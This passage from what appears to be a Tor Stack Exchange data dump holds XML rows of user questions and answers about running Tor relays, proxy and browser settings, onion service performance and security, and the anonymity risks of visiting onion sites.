This has never happened and in fact there are &lt;a href=&quot;https://community.torproject.org/relay/community-resources/bad-relays/&quot; rel=&quot;nofollow noreferrer&quot;&gt;teams at the Tor Project&lt;/a&gt; out there working to make sure that this isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm curious about this problem after reading FBI and The Playpen Case&#xA;  since no one technically talks about this, how did the FBI hack trace&#xA;  the owner server?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually there has been quite a lot written about this. They found him through normal police work. He was sloppy and stupid and the police didn't even have to trace his site. They just needed to trace him. &lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-02T19:12:33.873" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20866" PostTypeId="2" ParentId="20862" CreationDate="2020-02-03T04:41:33.783" Score="1" Body="&lt;p&gt;You are not starting tor properly, try to start it as a service so that it runs as the correct user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl start tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28418" LastActivityDate="2020-02-03T04:41:33.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20867" PostTypeId="1" CreationDate="2020-02-03T11:39:37.530" Score="0" ViewCount="45" Body="&lt;p&gt;I'm trying to connect Tor inside the corporate IT network. The workstations are connected through the proxy server and firewall. When the connection failed with 'Connection timeout' error, I tried to access configuration option in Tor and entered proxy address and port number issued by the corporate IT. Basically the IP address for each client machines are providing by the Network Administrator and the workstations are acting as the Active Directory users with firewall.&lt;/p&gt;&#xA;" OwnerUserId="28592" LastActivityDate="2020-02-03T11:39:37.530" Title="Unable to connect Tor browser inside AD client" Tags="|security|proxy|tor-install|firewall|proxy-leaks|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20868" PostTypeId="2" ParentId="20854" CreationDate="2020-02-03T19:07:41.997" Score="0" Body="&lt;p&gt;I asked your question on the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-talk&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-talk mailing list&lt;/a&gt; and got the following reply from one of the creators of Tor itself:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You should really avoid making exceptions to the proxy rules for Tor&#xA;  Browser. If you let your browser connect to local services, that opens&#xA;  the door for remote websites, which you access over Tor, to give you&#xA;  instructions (e.g. via javascript, but not only via javascript) to&#xA;  make local connections and then send that info back to the website.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In the most benign case, you're setting yourself up with a tracking&#xA;  marker (&quot;there's that weird person who allowed connections to&#xA;  192.168.1.1 again&quot;). In worse cases, you're opening yourself up to permissions surprises and attacks that start with the word&#xA;  &quot;cross-site&quot; or &quot;cross-protocol&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For an early example of a similar bug that bit Tor users, see&#xA;  &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-announce/2007-September/000078.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-announce/2007-September/000078.html&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;All of that said, if you still want to shoot your feet off: in&#xA;  &lt;strong&gt;about:config&lt;/strong&gt;, there's a &lt;strong&gt;network.proxy.no_proxies_on&lt;/strong&gt; option that you&#xA;  can set.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For even more details, new in ESR68, there is now a&#xA;  network.proxy.allow_hijacking_localhost option, which we needed to fix&#xA;  for Tor Browser: &lt;a href=&quot;https://bugs.torproject.org/31065&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugs.torproject.org/31065&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, with that answer, a best practice would be to use a standalone browser instance for local network access.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-03T19:07:41.997" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20871" PostTypeId="1" CreationDate="2020-02-05T03:25:33.440" Score="0" ViewCount="184" Body="&lt;p&gt;I am able to access the DuckDuckGo but it is not able for me to access hidden wiki and other onion sites. I wish someone can help me fix this problem! Thanks a lot. &lt;/p&gt;&#xA;" OwnerUserId="28600" LastActivityDate="2022-02-24T22:00:55.120" Title="Why there is always a network down when I try to access the onion site?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20872" PostTypeId="2" ParentId="19835" CreationDate="2020-02-05T12:11:56.867" Score="0" Body="&lt;p&gt;You say Tor Browser so I assume that you mean web mail and not using an actual mail server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you are using the onion service for &lt;a href=&quot;https://protonirockerxow.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProtonMail&lt;/a&gt;. The advantage of using the onion service is that no one knows that you are using ProtonMail. Other than that, it doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you are using web mail from another provider. Because you are using Tor, they may block or even ban you for using Tor. After all, then can't see if you are a real person or a spammer. This is clearly a big disadvantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best course of action, if you are technically saavy enough and can pay for it, is to run your own mail server and provide your onion web interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://tor.stackexchange.com/questions/14763/sending-email-through-onion&quot;&gt;sending email through .onion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-05T12:11:56.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20873" PostTypeId="2" ParentId="20871" CreationDate="2020-02-05T12:51:32.833" Score="0" Body="&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/questions/20780/most-onion-links-wont-load/20781#20781&quot;&gt;Most Onion Links Won't Load&lt;/a&gt;. You can also attempt to change your circuit but nothing can help a website that is down or has changed it's address.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-05T12:51:32.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20874" PostTypeId="2" ParentId="12418" CreationDate="2020-02-05T19:03:32.470" Score="0" Body="&lt;p&gt;in &lt;strong&gt;preference&lt;/strong&gt; goto &lt;strong&gt;Privacy and Security&lt;/strong&gt; &#xA;and uncheck : &lt;strong&gt;History &gt; &lt;em&gt;tor open previous session&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then it would restarted &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then again in preference goto &lt;strong&gt;General&lt;/strong&gt; at the very beginning check : &lt;strong&gt;Startup &gt; &lt;em&gt;Restore previous session&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="28606" LastActivityDate="2020-02-05T19:03:32.470" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20875" PostTypeId="1" CreationDate="2020-02-07T14:15:19.333" Score="1" ViewCount="1031" Body="&lt;p&gt;I've been using Orbot for Android for a while and having a great experience with it. I always thought it would be slow and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, for Desktop, I can't find an equivalent to Orbot, that would behave like a VPN and route all connections via Tor regardless if I'm using the Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a couple of VPN tutorials but they all rely on some external company that provides the the &quot;connect via Tor&quot; profile for OpenVPN or some other generic VPN app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a thing as an Orbot for Windows/Mac?&lt;/p&gt;&#xA;" OwnerUserId="11991" LastActivityDate="2022-03-30T08:01:55.167" Title="Is there an orbot equivalet app for Desktop?" Tags="|windows|mac|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20876" PostTypeId="2" ParentId="20875" CreationDate="2020-02-07T18:53:33.397" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/download/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Expert Bundle on Windows&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://2019.www.torproject.org/docs/tor-doc-osx.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor&lt;/a&gt; for Mac&lt;/li&gt;&#xA;&lt;li&gt;It comes as a standard part of most Linux distributions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These are not like Android apps. If you don't want to learn how to use a command line, then they aren't for you. If you want to take the time to learn something new, this will do it.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-07T18:53:33.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20877" PostTypeId="2" ParentId="20844" CreationDate="2020-02-07T20:45:57.027" Score="1" Body="&lt;p&gt;The best option to avoid exits tampering or inspecting your traffic is to only use encrypted protocols over Tor exit nodes.  That means HTTPS, primarily, but if you're using another protocol (such as IMAP, for checking mail, or IRC) ensure it is the &quot;over TLS&quot; version.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2020-02-07T20:45:57.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20878" PostTypeId="1" CreationDate="2020-02-08T02:47:03.893" Score="0" ViewCount="622" Body="&lt;p&gt;I'm a neub learning Tor relaying and bridges. I am currently operating a relay on a droplet. It has been up for 14 days and has all of the flags assigned to it. I use a Pi 3 with Raspbian and run NYX in putty to monitor the relay without problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question: I wish to monitor the circuits that are created by bridges (if I understand correctly). How? I downloaded Onion Circuits, installed locally and all I get is &quot;you are not in Tor&quot; The window itself is just two small windows that are blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know these things take time to formulate, but I&#xA;seriously doubt that is the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've obviously missed something, stumped on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any Help :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adriann&lt;/p&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2022-03-02T23:02:20.203" Title="tor Onion Circuits" Tags="|onion-routing|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20879" PostTypeId="1" CreationDate="2020-02-08T15:45:23.970" Score="1" ViewCount="4849" Body="&lt;p&gt;When starting the Tor Browser I get a message stating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Tor Browser is already running, but is not responding. To open a new window, you must first close the existing Tor Browser process, or restart your system&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking for tor.exe and firefox.exe in the process manager but there where not running.&lt;/p&gt;&#xA;" OwnerUserId="28619" LastEditorUserId="28619" LastEditDate="2020-02-08T15:49:33.430" LastActivityDate="2023-04-06T18:03:00.370" Title="Tor Browser already running when trying to start the tor browser on Windows" Tags="|tor-browser-bundle|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20880" PostTypeId="2" ParentId="20879" CreationDate="2020-02-08T15:49:17.430" Score="1" Body="&lt;p&gt;Turns out that in the Windows Security panel under Virus &amp;amp; threat protection Ransomware protection was enabled. This protects files, folders and memory areas from unauthorized changes. The solution is to click on 'Manage ransomware protection' and click Allow an app through controlled folder access.&lt;/p&gt;&#xA;" OwnerUserId="28619" LastActivityDate="2020-02-08T15:49:17.430" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20881" PostTypeId="1" CreationDate="2020-02-08T19:42:05.657" Score="1" ViewCount="597" Body="&lt;p&gt;I set up a hidden service that serves a static low sized page but still it takes at least 20 seconds to open. Also sometimes it just closes itself when i am not around and doesn't respond for hours and i then need to restart Tor service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My upload speed is 5 mbps is it related? I measured network usage and it doesn't even use 100 kbps. How can i speed up the service with configuration? And what is the reason service just shuts down and doesn't respond randomly? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28620" LastActivityDate="2022-03-30T12:07:45.837" Title="Best configuration for a low latency fast hidden service?" Tags="|onion-services|speed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20882" PostTypeId="2" ParentId="20881" CreationDate="2020-02-08T20:35:22.180" Score="0" Body="&lt;p&gt;My suggestion is to minimize the code. If you use plain html with no javascript, no PHP, etc, it will be fastest and the most secure. Look into something like &lt;a href=&quot;https://gohugo.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hugo&lt;/a&gt; or other static page generators for building extremely fast and secure sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your internet speed isn't as important as your latency. If you ever play games online, you know what a pain it is to have high latency. The same goes for running an onion service on your network. If you are doing a lot on your network, expect your latency to go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, know &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;how Tor works&lt;/a&gt;. You will always go through at least 3 hops to get to your onion service. This will always cause lags and there is no way around this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And what is the reason service just shuts down and doesn't respond&#xA;  randomly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No idea without you sharing more about your configuration.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-08T20:35:22.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20883" PostTypeId="1" AcceptedAnswerId="20884" CreationDate="2020-02-09T14:54:45.420" Score="1" ViewCount="138" Body="&lt;p&gt;Running a tor relay on &lt;code&gt;Centos 7&lt;/code&gt;, version &lt;code&gt;0.3.5.8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;code&gt;notices.log&lt;/code&gt;, I've noticed this warning for the first time in a week:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[warn] Received http status code 302 (&quot;Found&quot;) from server '&amp;lt;Server IP&amp;gt;' while fetching consensus directory.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some searching, other users have seen the same warning with http code 404 (not found), however I'm receiving a 302 (found). I couldn't find anyone else reporting this kind of warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I understand it is that &amp;lt; Server IP &gt; sent a http request (via tor) to my server, and my server replied with code 302. I'm not sure this is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this something I need to worry about? Do I need to perhaps check some of my settings?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc config looks something like this (comments stripped for brevity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice file /var/log/tor/notices.log&#xA;ORPort 9001&#xA;Address &amp;lt;my server ip&amp;gt;&#xA;Nickname &amp;lt;some name&amp;gt;&#xA;ContactInfo &amp;lt;some info&amp;gt;&#xA;DirPortFrontPage /&amp;lt;somepath&amp;gt;/tor-exit-notice.html&#xA;ExitRelay 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28624" LastEditorUserId="28624" LastEditDate="2020-02-10T09:35:38.417" LastActivityDate="2020-02-10T09:35:38.417" Title="Received http status code 302 from server while fetching consensus directory" Tags="|configuration|log|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20884" PostTypeId="2" ParentId="20883" CreationDate="2020-02-09T16:30:02.680" Score="1" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;https://community.torproject.org/relay/setup/guard/centosrhel/&quot; rel=&quot;nofollow noreferrer&quot;&gt;suggested configuration for CentOS&lt;/a&gt;. As long as you aren't running an exit node, this should be all you need. You can also find help from fellow relay operators &lt;a href=&quot;https://community.torproject.org/relay/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-09T16:30:02.680" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20885" PostTypeId="1" CreationDate="2020-02-09T16:48:21.590" Score="0" ViewCount="1736" Body="&lt;p&gt;What exactly makes an .onion site more secure than a regular html based website, except that it is &quot;hidden&quot; and can't be taken down easily. For a user term, am I more safe when I visit a onion site than a regular site? Does a .onion side has special securities? Like is the .onion site connected the same way to tor like I? Guard, Middle Node and Exit node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I connect with my exit node to the .onion directly so my exit node sees it site or does my exit node connect to the exit node of the .onion side?&lt;/p&gt;&#xA;" OwnerUserId="28625" LastActivityDate="2022-04-01T00:05:45.630" Title="What makes Onion sites more safe than regular html sites?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20886" PostTypeId="2" ParentId="20885" CreationDate="2020-02-09T18:58:45.187" Score="0" Body="&lt;p&gt;Edit: I thought of something to fix my answer which wasn't complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main security boon is that even plain http traffic is encrypted between the last node and the onion service. You don't need to install an SSL certificate to get the same kind of encryption that you would get on the normal web with https. That is due to &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion routing&lt;/a&gt;&quot; encryption scheme that Tor provides encryption and what makes it better than other networks that don't provide any kind of layred encryption between nodes. For example, proxychains can route your traffic but it won't give you the security of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another weaker piece of extra security is &quot;Security through obscurity&quot; because onion services, especially v3 services, are ridiculously hard to find. Unless you tell someone that it exists, it is unlikely that someone will stumble upon it, especially if you are using a non-standard port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for anonymity, it help you and your visitors share information anonymously. Anonymity is what Tor is primarily about. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does a .onion side has special securities?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are some extra security functions out there that you can set up such as &lt;a href=&quot;https://tor.stackexchange.com/questions/19221/how-to-setup-client-authorization-for-v3-onion-services&quot;&gt;Client Authorization&lt;/a&gt;. Mostly security is up to you hardening your code and your web server.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Like is the .onion site connected the same way to tor like I? Guard, Middle Node and Exit node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Almost. You don't go through an exit node for onion services and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit dated but it will give you a good idea about &lt;a href=&quot;https://media.ccc.de/v/32c3-7322-tor_onion_services_more_useful_than_you_think&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion services&lt;/a&gt;. &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/blocking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the actual &lt;a href=&quot;https://2019.www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; on how this all works.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2020-02-09T20:31:23.813" LastActivityDate="2020-02-09T20:31:23.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20887" PostTypeId="1" CreationDate="2020-02-10T05:51:31.513" Score="0" ViewCount="267" Body="&lt;p&gt;People hello,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit onion website that are illegal inside my country can I get caught if I have highest security setting no java no script and only browse the website? No opening anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How likely I be caught when Im not stupid and use tails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion site is not illegal in many other country but my. ISP probably saving IP for 1-3 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I browse good spirit or is there a risk of getting in trouble?&lt;/p&gt;&#xA;" OwnerUserId="28627" LastActivityDate="2020-03-13T14:02:05.237" Title="Onion site illegal in my country. Can only visiting get me caught?" Tags="|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20890" PostTypeId="1" CreationDate="2020-02-10T17:22:28.217" Score="1" ViewCount="127" Body="&lt;p&gt;auth_dirs contains a list of trusted directory authorities and consists of entrys such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;moria1 orport=9101 &quot;&#xA;  &quot;v3ident=D586D18309DED4CD6D57C18FDB97EFA96D330566 &quot;&#xA;  &quot;128.31.0.39:9131 9695 DFC3 5FFE B861 329B 9F1A B04C 4639 7020 CE31&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the difference between the v3ident and the fingerprint in the line with the url and OR?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding, the v3ident is compared to the SHA1 Hash of the public Authority Identity Key of the key certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the other one used for?&lt;/p&gt;&#xA;" OwnerUserId="28631" LastActivityDate="2020-02-10T17:22:28.217" Title="What is the difference between the fingerprint and v3ident in auth_dirs.c" Tags="|security|directory|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20891" PostTypeId="1" CreationDate="2020-02-10T17:53:46.733" Score="1" ViewCount="24" Body="&lt;p&gt;I have a theoretical question for understanding the safety of TOR:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I connect to a node A as a first router on my path and I tell him to forward a handshake message to a second node, then how do I know, that he really did forward the message to that node and did not answer it by himself or send it to a friend node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory it would be possible, that a router fakes all the nodes behind him, creates all keys by himself and breaks all the layers of the communication. Is there a mechanism that prevents this?&lt;/p&gt;&#xA;" OwnerUserId="28632" LastActivityDate="2020-02-10T18:10:08.180" Title="Can a router fake the communication to the next nodes on the path?" Tags="|security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20893" PostTypeId="1" CreationDate="2020-02-11T06:19:21.613" Score="1" ViewCount="277" Body="&lt;p&gt;Hello my friends of Tor Browser,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a theoretical question about the power of a global adversary, such as (the) NSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the 7 hop security level when visiting a hidden onion service, is there a point of failure that would make it possible for a global adversary to figure out what sites I'm visiting while using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I'm not stupid, have a certain technical knowledge and won't use any security risk such as Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I would visit a hidden service that offers tons of services and a discussion board. When I would simply visit it and read the discussion board, could I get into trouble as there are parts on this website that offer clearly illegal things? My purpose is not placing any orders, downloading anything or leaving this service for questionable urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any danger in it? If so, how likely is it, I would be in trouble? Given my ISP saves traffic data for only 10 days.&lt;/p&gt;&#xA;" OwnerUserId="28638" LastActivityDate="2022-03-03T18:06:10.577" Title="Global adversary: Can they see if I visit a hidden service?" Tags="|anonymity|global-adversary|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20895" PostTypeId="2" ParentId="20878" CreationDate="2020-02-11T19:47:05.760" Score="0" Body="&lt;p&gt;I believe &lt;a href=&quot;https://git-tails.immerda.ch/onioncircuits/&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion circuits&lt;/a&gt; uses the &lt;a href=&quot;https://github.com/torproject/tor/blob/9892cc3b12db4dc1e8cbffec8e18bb18cbd77d0f/src/config/torrc.sample.in#L57&quot; rel=&quot;nofollow noreferrer&quot;&gt;ControlPort&lt;/a&gt; to collect information on TOR circuits and streams. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure that you have added (or uncommented) the &lt;code&gt;ControlPort 9051&lt;/code&gt; line within your &lt;code&gt;torrc&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should allow for onion circuits to collect the required data.&lt;/p&gt;&#xA;" OwnerUserId="28418" LastActivityDate="2020-02-11T19:47:05.760" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20896" PostTypeId="1" CreationDate="2020-02-12T04:09:08.030" Score="0" ViewCount="410" Body="&lt;p&gt;I'm installing a bridge on a new droplet. Small issue with torrc; couldn't bind to control port. Forgot relay was on control port 9050 so changed to 9055. Now torrc is happy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NYX is not. &#xA;sudo apt-get install nyx: without complaint from Ubuntu. Below is what I get when I enter nyx or debian-tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's always something!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adriann&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS- Thanks much for any help :-)&#xA;XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File &quot;/usr/bin/nyx&quot;, line 11, in &#xA;    load_entry_point('nyx==2.0.4', 'console_scripts', 'nyx')()&#xA;  File &quot;/usr/lib/python3/dist-packages/pkg_resources/&lt;strong&gt;init&lt;/strong&gt;.py&quot;, line 480, in load_entry_point&#xA;    return get_distribution(dist).load_entry_point(group, name)&#xA;  File &quot;/usr/lib/python3/dist-packages/pkg_resources/&lt;strong&gt;init&lt;/strong&gt;.py&quot;, line 2693, in load_entry_point&#xA;    return ep.load()&#xA;  File &quot;/usr/lib/python3/dist-packages/pkg_resources/&lt;strong&gt;init&lt;/strong&gt;.py&quot;, line 2324, in load&#xA;    return self.resolve()&#xA;  File &quot;/usr/lib/python3/dist-packages/pkg_resources/&lt;strong&gt;init&lt;/strong&gt;.py&quot;, line 2330, in resolve&#xA;    module = &lt;strong&gt;import&lt;/strong&gt;(self.module_name, fromlist=['&lt;strong&gt;name&lt;/strong&gt;'], level=0)&#xA;  File &quot;/usr/lib/python3/dist-packages/nyx/&lt;strong&gt;init&lt;/strong&gt;.py&quot;, line 46, in &#xA;    import distutils.spawn&#xA;ModuleNotFoundError: No module named 'distutils.spawn'&lt;/p&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2022-03-05T19:08:50.813" Title="NYX Doesn't run" Tags="|nyx|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20897" PostTypeId="2" ParentId="20893" CreationDate="2020-02-12T05:21:36.277" Score="0" Body="&lt;p&gt;Your ISP would see that you are using Tor. They would not see what you are doing on Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The onion service that you visit would see that someone is visiting their site but they would have no way to see who you are unless you tell them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, be aware that in the past police bodies have taken over sites dealing with illegal material and have put malware on them that exploits unknown bugs in the Tor Browser. This causes the browser to give aware their true identity to the police. I can't say how common this practice is today but if you are on that kind of site, there is a good chance some police organization probably wants to take it down and you should take care of such risks by using the &lt;a href=&quot;https://tb-manual.torproject.org/security-settings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;safer or safest security levels&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-12T05:21:36.277" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20899" PostTypeId="2" ParentId="20887" CreationDate="2020-02-12T12:43:07.717" Score="1" Body="&lt;p&gt;If you can get in trouble just by using tor, don't do it. ISP's can only see that you are using tor and nothing else, however ISP's can perform an &lt;a href=&quot;https://security.stackexchange.com/questions/147402/how-do-traffic-correlation-attacks-against-tor-users-work&quot;&gt;end-to-end confirmation attack&lt;/a&gt; on you if they can find patterns in both ends of the communication channel (you and the site). Meaning that if they have access to the server you are trying to connect, you can get caught pretty easily.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-02-12T12:43:07.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20900" PostTypeId="1" CreationDate="2020-02-12T16:41:55.717" Score="1" ViewCount="765" Body="&lt;p&gt;I get too many guard overload fails and tried increasing NumEntryGuards and NumDirectoryGuards both to 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this decrease my anonymity?&lt;/p&gt;&#xA;" OwnerUserId="28646" LastActivityDate="2022-03-04T07:02:15.243" Title="Does increasing NumEntryGuards decrease anonymity?" Tags="|anonymity|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
